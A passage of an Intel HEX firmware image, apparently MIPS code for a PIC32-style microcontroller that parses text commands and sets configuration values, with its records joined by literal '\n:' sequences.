10c370001800a7af1c00a6af213060002138400094\n:10c38000053b410f000000002120000002bc400fcf\n:10c39000000000003000c2a3ed70400b0000000060\n:10c3a000029d023c30ed442435bc400f00000000eb\n:10c3b0003000c2a38800c48f029d023c10f64524c1\n:10c3c000050006247654410f00000000a50040142b\n:10c3d000000000008800c28f050044246000c327cd\n:10c3e0006400c227029d053c50eea5242130600068\n:10c3f00021384000b355410f000000006800c2af73\n:10c400006800c28f05004010000000006800c38f64\n:10c410000100022405006210000000006800c38fc4\n:10c42000020002248a006214000000006800c38f2a\n:10c430000100022403006214000000006000c28fab\n:10c440006400c2af00a0023cdc5642248700439047\n:10c4500000a0023cd8574290080062100000000083\n:10c46000029d023c18f6442435bc400f0000000039\n:10c470003000c2a39271400b0000000000a0023cfb\n:10c48000dc564224b400428cffff43246000c28f7c\n:10c490002b106200090040140000000000a0023cc4\n:10c4a000dc564224b400428cffff43246400c28f58\n:10c4b0002b1062000800401000000000029d023caa\n:10c4c00068ef442435bc400f000000003000c2a3d8\n:10c4d0009271400b0000000000a0023cd85742249b\n:10c4e0000412428c821802006000c28f18006200a1\n:10c4f000121000000002432400a0023cd85742243e\n:10c5000021106200030044246000c38f6400c28fc6\n:10c510002128600021304000cc43410f0000000082\n:10c520000800401400000000029d023c84ef4424f7\n:10c5300035bc400f000000003000c2a39271400bd8\n:10c54000000000000100042402bc400f00000000b5\n:10c550003000c2a300a0023cdc564224b800428c4a\n:10c560008218020000a0023cf46c422421106200f8\n:10c57000000040a06000c28f3400c2af8571400b44\n:10c5800000000000029d023c94ef44243400c58f5b\n:10c590008513410f0000000000a0023cdc5642243d\n:10c5a000b800428c821802003400c28f180062006a\n:10c5b000122000000002832400a0023cd85742242d\n:10c5c000211062000300432400a0023cdc564224f8\n:10c5d000b800428c8210020000a0043cf46c842459\n:10c5e0002128600021304000494a410f000000002e\n:10c5f000029d023c64ed442400a0023cf46c4524fe\n:10c600002013410f000000003400c28f01004224bb\n:10c610003400c2af6400c28f3400c38f2b104300bc\n:10c62000d8ff401000000000029d023c3cec442476\n:10c63000029d023c48ed45242013410f00000000fc\n:10c640009971400b000000009971400b0000000040\n:10c65000029d023c9cef442435bc400f00000000ca\n:10c660003000c2a38800c48f029d023c30f64524ee\n:10c67000734d410f00000000340040140000000022\n:10c6800000a0023cdc56422487004290080040147f\n:10c6900000000000029d023c38f6442435bc400fe7\n:10c6a000000000003000c2a3d371400b0000000066\n:10c6b0000100042402bc400f000000003000c2a3af\n:10c6c000cb71400b0000000000a0023cdc5642246d\n:10c6d0008700429000a0033cdc2464242128400011\n:10c6e0001e2d410f00000000070040100000000058\n:10c6f000029d023c64ed442400a0023cdc2445245d\n:10c700002013410f0000000088bf023c2061428cd2\n:10c71000040042300100422cff00443088bf033c3b\n:10c72000206162948410827c206162a44715410fcd\n:10c7300000000000e4ff4010000000005c15410f05\n:10c7400000000000e00c410f000000008800c48fd2\n:10c75000029d023c4cf64524734d410f0000000041\n:10c760000b004014000000002120000002bc400f1c\n:10c77000000000003000c2a30f00023c40424434dd\n:10c78000400e410f00000000c453410f00000000a4\n:10c790008800c48f029d023c54f64524734d410f1e\n:10c7a00000000000390040140000000001000424d3\n:10c7b00002bc400f000000003000c2a380bf023c5a\n:10c7c0002002428c4800c2af80bf023c2002428c53\n:10c7d0004c00c2af4800c38f4c00c28ff7ff6214f9\n:10c7e000000000004800c28f348282af80bf023c4c\n:10c7f0003002428c5000c2af80bf023c3002428cfb\n:10c800005400c2af5000c38f5400c28ff7ff6214b0\n:10c81000000000005000c28f308282af33828293ca\n:10c820002118400032828293318284932138800023\n:10c8300037828493213080003682849321288000bf\n:10c84000358284931000a7af1400a6af1800a5afdf\n:10c850001c00a4af00a0043c5c458424029d053c60\n:10c8600058f6a5242130600021384000ac54410f17\n:10c8700000000000029d023c64ed442400a0023c44\n:10c880005c4545242013410f000000008800c48f40\n:10c89000029d023c78f64524040006247654410f9c\n:10c8a0000000000048004014000000008800c28f13\n:10c8b0000400422421204000029d023c3cec45241f\n:10c8c00000a0023cf46c4624b355410f0000000068\n:10c8d000211840000100022436006214000000000c\n:10c8e00000a0023cf46c4424a34a410f0000000065\n:10c8f00000a0033cdc5663249c00688c00a0033c31\n:10c90000dc566324ec00678c00a0033cdc566324f7\n:10c91000f000668c00a0033cdc566324e400658cc8\n:10c9200000a0033cdc566324e800648c00a0033cb8\n:10c93000dc566324e000638c040009241000a9afd6\n:10c940001400a8af1800a7af1c00a6af2000a5af29\n:10c950002400a4af2800a3af2c00a0af00a0033c8c\n:10c96000f46c6424212840000100062401000724ff\n:10c97000313b410f000000000700401000000000a4\n:10c980002120000002bc400f000000003000c2a3c4\n:10c990007272400b00000000029d023c80f64424ad\n:10c9a00035bc400f000000003000c2a37272400b83\n:10c9b00000000000029d023c30ed442435bc400fd5\n:10c9c000000000003000c2a38800c48f029d023c1a\n:10c9d000b0f64524734d410f0000000010004014d4\n:10c9e000000000000324410f000000000700401079\n:10c9f000000000002120000002bc400f00000000e9\n:10ca00003000c2a38872400b00000000029d023c6f\n:10ca1000b8f6442435bc400f000000003000c2a32b\n:10ca20008800c48f029d023cc8f6452406000624f7\n:10ca30007654410f00000000330040140000000055\n:10ca400000a0023cf46c40a08800c28f0600432482\n:10ca50006000c22721206000029d033c3cec65245d\n:10ca600000a0033cf46c662421384000b355410f0c\n:10ca700000000000020042281e00401000000000dc\n:10ca800000a0023cdc24442400a0023cf46c4524b9\n:10ca90000c52410f000000000f0040100000000089\n:10caa0000100042402bc400f000000003000c2a3bb\n:10cab000029d023c64ed442400a0023cdc24452499\n:10cac0002013410f000000005c15410f0000000022\n:10cad000c272400b00000000029d023cd0f64424cc\n:10cae00035bc400f000000003000c2a3c272400bf2\n:10caf00000000000029d023c30ed442435bc400f94\n:10cb0000000000003000c2a38800c48f029d023cd8\n:10cb1000e0f64524734d410f00000000080040146a\n:10cb20000000000000a0023cdc564224c40040acdf\n:10cb30002120000002bc400f000000003000c2a312\n:10cb40008800c48f029d023cf0f64524734d410fce\n:10cb5000000000000c0040140000000000a0023c97\n:10cb6000dc56422401000324c40043ac00a0023c74\n:10cb7000dc564224cc0040ac2120000002bc400f17\n:10cb8000000000003000c2a38800c48f029d023c58\n:10cb900000f74524090006247654410f00000000e8\n:10cba0001d004014000000008800c28f09004324cb\n:10cbb0006000c22721206000029d033c0cf7652421\n:10cbc00021304000b355410f000000002118400003\n:10cbd000010002240b006214000000006000c38ffb\n:10cbe00000a0023cdc564224b00043ac21200000ef\n:10cbf00002bc400f000000003000c2a30673400bcf\n:10cc000000000000029d023c10f7442435bc400f98\n:10cc1000000000003000c2a38800c48f029d023cc7\n:10cc200024f74524070006247654410f0000000035\n:10cc30001c004014000000008800c28f070042243e\n:10cc400021204000029d023c60ee4524e8808627ba\n:10cc5000b355410f000000002118400001000224dc\n:10cc60000b00621400000000e880838f00a0023ceb\n:10cc7000dc5642249c0043ac2120000002bc400f43\n:10cc8000000000003000c2a32973400b0000000028\n:10cc9000029d023c2cf7442435bc400f00000000ec\n:10cca0003000c2a38800c48f029d023c40f7452497\n:10ccb000734d410f00000000080040140000000008\n:10ccc00000a0023cdc564224c80040ac21200000f9\n:10ccd00002bc400f000000003000c2a38800c48fd7\n:10cce000029d023c50f74524734d410f00000000a7\n:10ccf000090040140000000000a0023cdc56422461\n:10cd000001000324c80043ac2120000002bc400ff6\n:10cd1000000000003000c2a38800c48f029d023cc6\n:10cd200060f74524734d410f0000000008004014d7\n:10cd30000000000000a0023cdc564224cc0040acc5\n:10cd40002120000002bc400f000000003000c2a300\n:10cd50008800c48f029d023c74f74524734d410f37\n:10cd6000000000000c0040140000000000a0023c85\n:10cd7000dc56422401000324cc0043ac00a0023c5a\n:10cd8000dc564224c40040ac2120000002bc400f0d\n:10cd9000000000003000c2a38800c48f029d023c46\n:10cda00088f74524080006247654410f000000004f\n:10cdb0003f004014000000008800c28f0800422499\n:10cdc00021204000029d023c94f74524734d410f01\n:10cdd000000000000b0040140000000000a0023c16\n:10cde000dc56422401000324a00043a021200000bf\n:10cdf00002bc400f000000003000c2a3ac73400b27\n:10ce0000000000008800c28f08004224212040005a\n:10ce1000029d023c98f74524734d410f000000002d\n:10ce20000b0040140000000000a0023cdc5642242d\n:10ce300002000324a00043a02120000002bc400ff8\n:10ce4000000000003000c2a3ac73400b00000000e3\n:10ce50008800c28f0800422421204000029d023c2d\n:10ce60009cf74524734d410f000000000b00401457\n:10ce70000000000000a0023cdc5642240400032411\n:10ce8000a00043a02120000002bc400f00000000d1\n:10ce90003000c2a3ac73400b00000000029d023cb6\n:10cea000a4f7442435bc400f000000003000c2a3aa\n:10ceb0008800c48f029d023cc0f745240800062468\n:10cec0007654410f000000001c00401400000000d8\n:10ced0008800c28f0800422421204000029d023cad\n:10cee00060ee4524e8808627b355410f000000001e\n:10cef00021184000010002240b0062140000000011\n:10cf0000e880838f00a0023cdc564224880043acba\n:10cf10002120000002bc400f000000003000c2a32e\n:10cf2000cf73400b00000000029d023c10f7442428\n:10cf300035bc400f000000003000c2a38800c48f41\n:10cf4000029d023cccf74524090006247654410f8b\n:10cf5000000000001d004014000000008800c28f87\n:10cf6000090043246000c22721206000029d033c89\n:10cf70000cf7652421304000b355410f000000003c\n:10cf800021184000010002240b0062140000000080\n:10cf90006000c38f00a0023cdc564224a40043acd6\n:10cfa0002120000002bc400f000000003000c2a39e\n:10cfb000f373400b00000000029d023cd8f74424ac\n:10cfc00035bc400f000000003000c2a38800c48fb1\n:10cfd000029d023cecf745240b0006247654410fd9\n:10cfe000000000001d004014000000008800c28ff7\n:10cff0000b0043246000c22721206000029d033cf7\n:10d000000cf7652421304000b355410f00000000ab\n:10d0100021184000010002240b00621400000000ef\n:10d020006000c38f00a0023cdc564224d40043ac15\n:10d030002120000002bc400f000000003000c2a30d\n:10d040001774400b00000000029d023cf8f74424d6\n:10d0500035bc400f000000003000c2a38800c48f20\n:10d06000029d023c10f84524090006247654410f25\n:10d07000000000001d004014000000008800c28f66\n:10d08000090043246000c22721206000029d033c68\n:10d090000cf7652421304000b355410f000000001b\n:10d0a00021184000010002240b006214000000005f\n:10d0b0006000c38f00a0023cdc564224a80043acb1\n:10d0c0002120000002bc400f000000003000c2a37d\n:10d0d0003b74400b00000000029d023cd8f7442442\n:10d0e00035bc400f000000003000c2a38800c48f90\n:10d0f000029d023c1cf84524090006247654410f89\n:10d10000000000001d004014000000008800c28fd5\n:10d11000090043246000c22721206000029d033cd7\n:10d120000cf7652421304000b355410f000000008a\n:10d1300021184000010002240b00621400000000ce\n:10d140006000c38f00a0023cdc564224ac0043ac1c\n:10d150002120000002bc400f000000003000c2a3ec\n:10d160005f74400b00000000029d023cd8f744248d\n:10d1700035bc400f000000003000c2a38800c48fff\n:10d18000029d023c28f845240d0006247654410fe8\n:10d190000000000020004014000000008800c28f42\n:10d1a0000d0043246000c22721206000029d033c43\n:10d1b0000cf7652421304000b355410f00000000fa\n:10d1c00021184000010002240c006214000000003d\n:10d1d0006000c28fff00433000a0023cdc564224b6\n:10d1e000bc0043a02120000002bc400f0000000052\n:10d1f0003000c2a3b274400b00000000029d023c4c\n:10d2000038f8442435bc400f000000003000c2a3b1\n:10d21000b274400b000000008800c48f029d023ce5\n:10d2200050f84524080006247654410f0000000001\n:10d2300025004014000000008800c28f080044242c\n:10d240006000c3276400c227029d053c5cf8a5244a\n:10d250002130600021384000b355410f000000002c\n:10d260002118400002000224120062140000000095\n:10d270006000c28f0400422c0e004010000000002d\n:10d280006000c48f6400c28fff00433000a0023ce6\n:10d29000dc56422421108200bd0043a02120000062\n:10d2a00002bc400f000000003000c2a3b274400b6b\n:10d2b00000000000029d023c64f8442435bc400f8d\n:10d2c000000000003000c2a38800c48f029d023c11\n:10d2d00078f84524080006247654410f0000000029\n:10d2e00019004014000000008800c28f080042248a\n:10d2f0002120400052bf400f000000005800c2a390\n:10d300005800c2930b004010000000005800c29368\n:10d3100021204000abc0400f000000002120000091\n:10d3200002bc400f000000003000c2a3d274400bca\n:10d3300000000000029d023c84f8442435bc400fec\n:10d34000000000003000c2a38800c48f029d023c90\n:10d3500098f84524090006247654410f0000000087\n:10d3600013004014000000008800c28f090042240e\n:10d370002120400023e8400f00000000070040107b\n:10d38000000000002120000002bc400f000000004f\n:10d390003000c2a3ec74400b00000000029d023c70\n:10d3a00084f8442435bc400f000000003000c2a3c4\n:10d3b0008800c48f029d023ca4f84524734d410fa0\n:10d3c00000000000280040140000000001000424b8\n:10d3d00002bc400f000000003000c2a3029d023cce\n:10d3e0003cec4424029d023cacf845242013410f40\n:10d3f0000000000001000224888082af1175400bfc\n:10d400000000000000a0023cdc564224870042904d\n:10d4100000a0033cdc246424212840001e2d410f81\n:10d42000000000000700401000000000029d023cc8\n:10d4300064ed442400a0023cdc2445242013410f69\n:10d44000000000004715410f00000000edff4010f4\n:10d45000000000005c15410f00000000e00c410fcf\n:10d4600000000000888080af8800c48f029d023ccd\n:10d47000ccf845240b0006247654410f0000000030\n:10d480000900401400000000edb4400f000000004f\n:10d490002120000002bc400f000000003000c2a3a9\n:10d4a0008275400b000000008800c48f029d023c82\n:10d4b000d8f845240b0006247654410f00000000e4\n:10d4c0000b0040140000000021b5400f00000000d8\n:10d4d0002120000002bc400f000000003000c2a369\n:10d4e0005c15410f000000008275400b0000000039\n:10d4f0008800c48f029d023ce4f845240b000624fa\n:10d500007654410f0000000011004014000000009c\n:10d5100001000224da8082a30c00042421280000e8\n:10d520006400062421380000be17410f00000000ef\n:10d530002120000002bc400f000000003000c2a308\n:10d540005c15410f000000008275400b00000000d8\n:10d550008800c48f029d023cf0f84524090006248f\n:10d560007654410f00000000270040140000000026\n:10d57000da8080a36000c0af6400c0af6800c0afb5\n:10d580008800c28f090044246000c3276400c227ba\n:10d590006800c5271000a5af029d053cfcf8a52436\n:10d5a0002130600021384000b355410f00000000d9\n:10d5b0000100042402bc400f000000003000c2a3a0\n:10d5c000029d023c3cec4424029d023c08f94524a7\n:10d5d0002013410f000000006000c48f6400c58f5d\n:10d5e0006800c38f6800c28f2b100200ff0042301a\n:10d5f0002130600021384000be17410f00000000bc\n:10d600005c15410f000000008800c48f029d023ca1\n:10d610003cf94524734d410f000000000700401401\n:10d62000000000002120000002bc400f00000000ac\n:10d630003000c2a3e00c410f000000008800c48f3e\n:10d64000029d023c44f94524734d410f0000000047\n:10d6500009004014000000000100042402bc400f37\n:10d66000000000003000c2a322bf400f00000000f5\n:10d670005c15410f000000008800c48f029d023c31\n:10d680004cf94524734d410f000000005100401437\n:10d690000000000000a0023cdc56422487004290bb\n:10d6a0000800401400000000029d023cc0ef44242a\n:10d6b00035bc400f000000003000c2a3f575400be0\n:10d6c0000000000000a0023cdc564224870042908b\n:10d6d0006000c3272120600021284000cb25410f96\n:10d6e000000000000800401400000000029d023c01\n:10d6f00054f9442435bc400f000000003000c2a3a0\n:10d70000f575400b0000000000a0023cdc564224ee\n:10d710008700429000a0033cf46c64242128400060\n:10d720009b26410f00000000250040100000000073\n:10d7300000a0023cdc5642248700429000a0033c3b\n:10d74000f46d642421284000bb26410f0000000036\n:10d7500000a0023cdc5642248700429000a0033c1b\n:10d76000f46e642421284000db26410f00000000f5\n:10d770000100042402bc400f000000003000c2a3de\n:10d7800000a0023cdc5642248700429000a0033ceb\n:10d79000f46c642400a0033cf46d652400a0033cf9\n:10d7a000f46e6624213840003927410f0000000044\n:10d7b0005c15410f00000000f575400b00000000f3\n:10d7c000029d023c84ef442435bc400f0000000061\n:10d7d0003000c2a38800c48f029d023c78f9452422\n:10d7e000734d410f0000000038004014000000009d\n:10d7f0000100042402bc400f000000003000c2a35e\n:10d80000029d023c3cec4424029d023c84f94524e8\n:10d810002013410f00000000e003410f0000000052\n:10d820004400c2af4400c28f050040100000000059\n:10d83000029d023cb8f942241276400b0000000021\n:10d84000029d023cc0f94224029d033cc8f96424b5\n:10d85000212840002013410f000000000100042493\n:10d86000a403410f000000004400c2af029d023c2f\n:10d87000f0f944244400c58f8513410f00000000d7\n:10d880007603410f000000004400c2af029d023c3d\n:10d8900020fa44244400c58f8513410f0000000086\n:10d8a000e8030424a403410f000000004400c2afb9\n:10d8b000029d023c54fa44244400c58f8513410f55\n:10d8c000000000005c15410f000000008800c48fbc\n:10d8d000029d023c8cfa4524080006247654410f30\n:10d8e00000000000160040140000000001000424a5\n:10d8f00002bc400f000000003000c2a300a0023ca8\n:10d90000f46c40a08800c28f08004224212040000f\n:10d91000029d023c3cec452400a0023cf46c4624f1\n:10d92000b355410f0000000000a0023cf46c4424f9\n:10d93000bc3b410f000000005c15410f00000000df\n:10d940008800c48f029d023c98fa4524734d410f14\n:10d9500000000000240040140000000019ec400ffb\n:10d96000000000001b004010000000000100042423\n:10d9700002bc400f000000003000c2a3029d023c28\n:10d980003cec4424029d023ca0fa45242013410fa4\n:10d99000000000006c80829300a0033cf417642414\n:10d9a00021284000adb9400f00000000029d023c5c\n:10d9b0003cec4424029d023c48ed45242013410fd9\n:10d9c000000000005c15410f000000007a76400b5b\n:10d9d00000000000029d023c4ced442435bc400f89\n:10d9e000000000003000c2a38800c48f029d023cea\n:10d9f000a8fa4524734d410f0000000014004014a4\n:10da000000000000d88082930100422cff004230c9\n:10da1000212040001345410f000000000700401086\n:10da2000000000002120000002bc400f00000000a8\n:10da30003000c2a39476400b00000000029d023c1f\n:10da40004ced442435bc400f000000003000c2a360\n:10da50008800c48f029d023cb0fa4524734d410feb\n:10da60000000000009004014000000000100042430\n:10da700002bc400f000000003000c2a3280d410f7f\n:10da8000000000005c15410f000000008800c48ffa\n:10da9000029d023cbcfa4524734d410f000000007a\n:10daa000130040140000000021200000b5f8400fd2\n:10dab0000000000011f8400f0000000007004010b7\n:10dac000000000002120000002bc400f0000000008\n:10dad0003000c2a3bc76400b00000000029d023c57\n:10dae0004ced442435bc400f000000003000c2a3c0\n:10daf0008800c48f029d023cccfa45241200062403\n:10db00007654410f000000003e0040140000000069\n:10db10006000c0af8800c28f120043246000c2279b\n:10db200021206000029d033cbcec652421304000b4\n:10db3000b355410f00000000020042282c004010a5\n:10db4000000000006000c28f0500422c2800401039\n:10db5000000000000100042402bc400f000000008f\n:10db60003000c2a300a0023cdc5642249000428c4c\n:10db7000060040100000000000a0023cdc564224d9\n:10db80009400428c08004014000000006000c28f26\n:10db9000ff00423021204000fbf4400f0000000055\n:10dba000ef76400b000000006000c28fff004230a3\n:10dbb0002120400058f6400f00000000029d023c6a\n:10dbc000e0fa442400a0023cdc2445242013410f49\n:10dbd0000000000000a0023cdc2440a0d48080af04\n:10dbe0005c15410f000000000177400b00000000b1\n:10dbf000029d023cecfa442435bc400f00000000ba\n:10dc00003000c2a38800c48f029d023c00fb452463\n:10dc1000060006247654410f000000003e00401428\n:10dc20000000000000a0023cdc5642248700429025\n:10dc30000800401400000000029d023cc0ef442494\n:10dc400035bc400f000000003000c2a34677400bf7\n:10dc50000000000000a0023cdc56422487004290f5\n:10dc60006000c3272120600021284000cb25410f00\n:10dc7000000000000800401400000000029d023c6b\n:10dc800054f9442435bc400f000000003000c2a30a\n:10dc90004677400b0000000000a0023cf46c40a05e\n:10dca0008800c28f0600422421204000029d023cd1\n:10dcb00008fb452400a0023cf46c4624b355410ff8\n:10dcc0000000000000a0023cdc5642248700429085\n:10dcd0002120400000a0023cf46c452441c6400fc6\n:10dce000000000000700401000000000212000009c\n:10dcf00002bc400f000000003000c2a34677400b7a\n:10dd000000000000029d023c0cfb442435bc400f87\n:10dd1000000000003000c2a38800c48f029d023cb6\n:10dd20001cfb4524734d410f000000000e00401401\n:10dd3000000000002120000002bc400f0000000095\n:10dd40003000c2a388bf033c206162940100042418\n:10dd5000444a827c206162a488bf033ca061629433\n:10dd6000444a027ca06162a48800c48f029d023ce8\n:10dd70002cfb4524734d410f0000000009004014a6\n:10dd8000000000002120000002bc400f0000000045\n:10dd90003000c2a388bf033c20616294444a027ce5\n:10dda000206162a48800c48f029d023c38fb452498\n:10ddb000050006247654410f000000002d00401499\n:10ddc0000000000000a0023cdc5642248700429084\n:10ddd0000800401400000000029d023cc0ef4424f3\n:10dde00035bc400f000000003000c2a39d77400bff\n:10ddf0000000000000a0023cf46c40a08800c28f2c\n:10de00000500422421204000029d023c08fb4524dd\n:10de100000a0023cf46c4624b355410f0000000002\n:10de200000a0023cdc5642248700429021204000a2\n:10de300000a0023cf46c45248ac6400f000000009c\n:10de400007004010000000002120000002bc400f2d\n:10de5000000000003000c2a39d77400b00000000ce\n:10de6000029d023c0cfb442435bc400f0000000026\n:10de70003000c2a38800c48f029d023c40fb4524b1\n:10de8000734d410f000000002a0040140000000004\n:10de900000a0023cdc564224870042900800401457\n:10dea00000000000029d023cc0ec442435bc400f41\n:10deb000000000003000c2a3cd77400b000000003e\n:10dec00000a0023cdc5642248700429000a0033ca4\n:10ded000dc246424212840001e2d410f0000000096\n:10dee0000f004010000000000100042402bc400f9d\n:10def000000000003000c2a3029d023c64ed4424f7\n:10df000000a0023cdc2445242013410f0000000047\n:10df10005c15410f00000000cd77400b00000000b1\n:10df2000029d023cf8f3442435bc400f0000000081\n:10df30003000c2a38800c48f029d023c44fb4524ec\n:10df4000734d410f000000000c0040140000000061\n:10df50000100042402bc400f000000003000c2a3f6\n:10df6000029d023c4cfb4424cb0005248513410f49\n:10df7000000000005c15410f000000008800c48f05\n:10df8000029d023c60fb4524734d410f00000000e0\n:10df900009004014000000000100042402bc400fee\n:10dfa000000000003000c2a33be7400f000000006b\n:10dfb0005c15410f000000008800c48f029d023ce8\n:10dfc00068fb4524070006247654410f000000003a\n:10dfd00032004014000000008800c28f0700432474\n:10dfe0006000c22721206000029d033c70fb652475\n:10dff0002130400000a0023cf46c4724b355410f8f\n:10e000000000000021184000020002241e006214db\n:10e01000000000006000c28f2120400000a0023cf0\n:10e02000f46c452468eb400f000000000f00401026\n:10e03000000000000100042402bc400f00000000aa\n:10e040003000c2a3029d023c64ed442400a0023cc7\n:10e05000f46c45242013410f000000005c15410fb3\n:10e06000000000002778400b00000000029d023ce9\n:10e0700078fb442435bc400f000000003000c2a3f0\n:10e080002778400b00000000029d023c8cfb4424da\n:10e0900035bc400f000000003000c2a38800c48fd0\n:10e0a000029d023cb0fb4524734d410f000000006f\n:10e0b0000f004010000000008800c48f029d023c49\n:10e0c000b8fb4524734d410f0000000008004010cc\n:10e0d000000000008800c48f029d023cc0fb452464\n:10e0e000734d410f000000005d014014000000006e\n:10e0f0000100042402bc400f000000003000c2a355\n:10e10000029d023c3cec4424029d023cc8fb452499\n:10e110002013410f00000000029d023c3cec44240f\n:10e12000029d023cf4fb45242013410f0000000037\n:10e13000029d023c3cec4424029d023c30fc452400\n:10e140002013410f00000000029d023c3cec4424df\n:10e15000029d023c6cfc45242013410f000000008e\n:10e16000029d023c3cec4424029d023cb0fc452450\n:10e170002013410f00000000029d023c3cec4424af\n:10e18000029d023c08fd45242013410f00000000c1\n:10e19000029d023c3cec4424029d023c5cfd452473\n:10e1a0002013410f00000000029d023c3cec44247f\n:10e1b000029d023cb0fd45242013410f00000000e9\n:10e1c000029d023c3cec4424029d023cf8fd4524a7\n:10e1d0002013410f00000000029d023c3cec44244f\n:10e1e000029d023c3cfe45242013410f000000002c\n:10e1f000029d023c3cec4424029d023c80fe4524ee\n:10e200002013410f00000000029d023c3cec44241e\n:10e21000029d023cc8fe45242013410f000000006f\n:10e22000029d023c3cec4424029d023c18ff452424\n:10e230002013410f00000000029d023c3cec4424ee\n:10e24000029d023c64ff45242013410f00000000a2\n:10e25000029d023c3cec4424029d023cbcff452450\n:10e260002013410f00000000029d023c3cec4424be\n:10e27000029d023c180045242013410f00000000bd\n:10e28000029d023c3cec4424029d023c6c0045246f\n:10e290002013410f00000000029d023c3cec44248e\n:10e2a000029d023cc00045242013410f00000000e5\n:10e2b000029d023c3cec4424029d023c1401452496\n:10e2c0002013410f00000000029d023c3cec44245e\n:10e2d000029d023c600145242013410f0000000014\n:10e2e000029d023c3cec4424029d023cac014524ce\n:10e2f0002013410f00000000029d023c3cec44242e\n:10e30000029d023cfc0145242013410f0000000047\n:10e31000029d023c3cec4424029d023c58024524f0\n:10e320002013410f00000000029d023c3cec4424fd\n:10e33000029d023cb40245242013410f000000005e\n:10e34000029d023c3cec4424029d023cfc0245241c\n:10e350002013410f00000000029d023c3cec4424cd\n:10e36000029d023c580345242013410f0000000089\n:10e37000029d023c3cec4424029d023cb403452433\n:10e380002013410f00000000029d023c3cec44249d\n:10e39000029d023cfc0345242013410f00000000b5\n:10e3a000029d023c3cec4424029d023c480445246e\n:10e3b0002013410f00000000029d023c3cec44246d\n:10e3c000029d023c940445242013410f00000000ec\n:10e3d000029d023c3cec4424029d023cd8044524ae\n:10e3e0002013410f00000000029d023c3cec44243d\n:10e3f000029d023c1c0545242013410f0000000033\n:10e40000029d023c3cec4424029d023c70054524e4\n:10e410002013410f00000000029d023c3cec44240c\n:10e42000029d023cb80545242013410f0000000066\n:10e43000029d023c3cec4424029d023c0006452423\n:10e440002013410f00000000029d023c3cec4424dc\n:10e45000029d023c480645242013410f00000000a5\n:10e46000029d023c3cec4424029d023c8c06452467\n:10e470002013410f00000000029d023c3cec4424ac\n:10e48000029d023ce00645242013410f00000000dd\n:10e49000029d023c3cec4424029d023c2c07452496\n:10e4a0002013410f00000000029d023c3cec44247c\n:10e4b000029d023c7c0745242013410f0000000010\n:10e4c000029d023c3cec4424029d023ccc074524c6\n:10e4d0002013410f00000000029d023c3cec44244c\n:10e4e000029d023c1c0845242013410f000000003f\n:10e4f000029d023c3cec4424029d023c64084524fd\n:10e500002013410f00000000029d023c3cec44241b\n:10e51000029d023cbc0845242013410f000000006e\n:10e52000029d023c3cec4424029d023c0809452427\n:10e530002013410f00000000029d023c3cec4424eb\n:10e54000029d023c440945242013410f00000000b5\n:10e55000029d023c3cec4424029d023c900945246f\n:10e560002013410f00000000029d023c3cec4424bb\n:10e57000029d023ce00945242013410f00000000e9\n:10e58000029d023c3cec4424029d023c2c0a4524a2\n:10e590002013410f00000000029d023c3cec44248b\n:10e5a000029d023c780a45242013410f0000000020\n:10e5b000029d023c3cec4424029d023cc40a4524da\n:10e5c0002013410f00000000029d023c3cec44245b\n:10e5d000029d023c040b45242013410f0000000063\n:10e5e000029d023c3cec4424029d023c440b452429\n:10e5f0002013410f00000000029d023c3cec44242b\n:10e60000029d023c8c0b45242013410f00000000aa\n:10e61000029d023c3cec4424029d023cd00b45246c\n:10e620002013410f00000000029d023c3cec4424fa\n:10e63000029d023c140c45242013410f00000000f1\n:10e64000029d023c3cec4424029d023c5c0c4524af\n:10e650002013410f000000005c15410f0000000076\n:10e660008800c48f029d023c9c0c4524734d410fd1\n:10e67000000000001000401400000000010004240d\n:10e6800002bc400f000000003000c2a3029d023c0b\n:10e690003cec4424029d023cac0c45242013410f69\n:10e6a0000000000021200000fbf4400f00000000eb\n:10e6b0005c15410f000000008800c48f029d023ce1\n:10e6c000ec0c4524734d410f00000000070040147e\n:10e6d000000000002120000002bc400f00000000ec\n:10e6e0003000c2a380f8400f000000008800c48ff3\n:10e6f000029d023cfc0c4524734d410f00000000bc\n:10e7000007004014000000002120000002bc400f60\n:10e71000000000003000c2a393f8400f000000008a\n:10e720008800c48f029d023c0c0d4524734d410f9f\n:10e73000000000002a004014000000000100042432\n:10e7400002bc400f000000003000c2a3029d023c4a\n:10e750003cec4424029d023cac0c45242013410fa8\n:10e760000000000000a0023cdc2440a000a0023c0d\n:10e77000dc5642249000428c06004010000000004d\n:10e7800000a0023cdc5642249400428c0600401457\n:10e790000000000021200000fbf4400f00000000fa\n:10e7a000ed79400b000000002120000058f6400fda\n:10e7b00000000000029d023ce0fa442400a0023c5c\n:10e7c000dc2445242013410f0000000000a0023c7f\n:10e7d000dc2440a0d48080af5c15410f0000000015\n:10e7e0008800c48f029d023c1c0d45240e000624a7\n:10e7f0007654410f0000000030004014000000007b\n:10e8000000a0023cdc5642249000428c06004010de\n:10e810000000000000a0023cdc5642249400428c20\n:10e820000800401400000000029d023c2c0d44240e\n:10e8300035bc400f000000003000c2a32f7a400b0f\n:10e840000000000093f8400f000000008800c28f15\n:10e850000e00422421204000029d023c3cec452455\n:10e8600000a0023cf46c4624b355410f00000000a8\n:10e8700021184000010002240b0062140000000077\n:10e880002120000002bc400f000000003000c2a3a5\n:10e8900000a0023cf46c442480f7400f000000000c\n:10e8a0002f7a400b00000000029d023c30ed442412\n:10e8b00035bc400f000000003000c2a38800c48fa8\n:10e8c000029d023c480d4524734d410f000000009d\n:10e8d00007004014000000002120000002bc400f8f\n:10e8e000000000003000c2a37f24410f00000000a0\n:10e8f0008800c48f029d023c500d4524060006246a\n:10e900007654410f00000000330040140000000066\n:10e910008800c28f060043246000c22721206000c7\n:10e92000029d033c70fb65242130400000a0023ca6\n:10e93000f46c4724b355410f00000000211840003b\n:10e94000020002241f006214000000006000c28f59\n:10e950002120400000a0023cf46c45240100062464\n:10e960004048410f000000000f0040100000000070\n:10e970000100042402bc400f000000003000c2a3cc\n:10e98000029d023c64ed442400a0023cf46c45244a\n:10e990002013410f000000005c15410f0000000033\n:10e9a000767a400b00000000029d023c0cfb4424e0\n:10e9b00035bc400f000000003000c2a3767a400b47\n:10e9c00000000000029d023c8cfb442435bc400f3b\n:10e9d000000000003000c2a33000c29318004014b1\n:10e9e000000000008800c48f029d023c50ec4524ca\n:10e9f000734d410f000000000500401000000000b2\n:10ea0000d8808393010002240b00621400000000f0\n:10ea10000100042402bc400f000000008800c48fe5\n:10ea20005065400f000000005c15410f0000000021\n:10ea3000907a400b0000000050bc400f0000000026\n:10ea40002324410f000000000600401000000000d9\n:10ea5000029d023c580d42243c00c2af9c7a400b00\n:10ea600000000000029d023ca8ec42243c00c2af